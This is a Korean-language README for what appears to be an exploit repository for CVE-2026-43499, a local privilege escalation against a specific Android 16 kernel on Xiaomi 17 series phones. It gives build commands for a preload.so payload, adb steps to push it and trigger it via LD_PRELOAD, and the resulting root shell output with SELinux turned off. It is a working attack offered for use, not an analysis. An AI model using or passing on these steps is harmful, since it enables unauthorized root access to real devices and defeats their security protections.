
CVE-2026-43499에 대한 구현 6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k
popsicle이 저장소는 Xiaomi 17 Pro Max(popsicle)에서 CVE-2026-43499의 Android 16 로컬 권한 상승 구현을 포함합니다. 검증된 커널:
6.12.23-android16-5-g75e9b1c7ae7c-abogki463945075-4k
해당 커널을 사용하는 Xiaomi 17, Pro 및 Ultra 시리즈는 모두 검증되어 사용 가능합니다.
Python 3와 llvm-objdump 필요:
python3 generate_target.py \
--boot boot.img \
--xbl-config xbl_config.img \
-o source/src/target.h
make -C source clean preload
NDK를 자동으로 찾을 수 없는 경우:
NDK_ROOT=/path/to/android-ndk make -C source clean preload
최종 산출물:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
성공 시 다음과 같이 표시됩니다:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
익스플로잇 완료 후 화면을 켜고 잠금을 해제하여 데스크탑에 진입할 수 있지만, 새로 시작된 Android App이 Framework 초기화를 완료하지 못해 강제 종료됩니다. 재부팅 후 App 시작이 정상으로 돌아옵니다.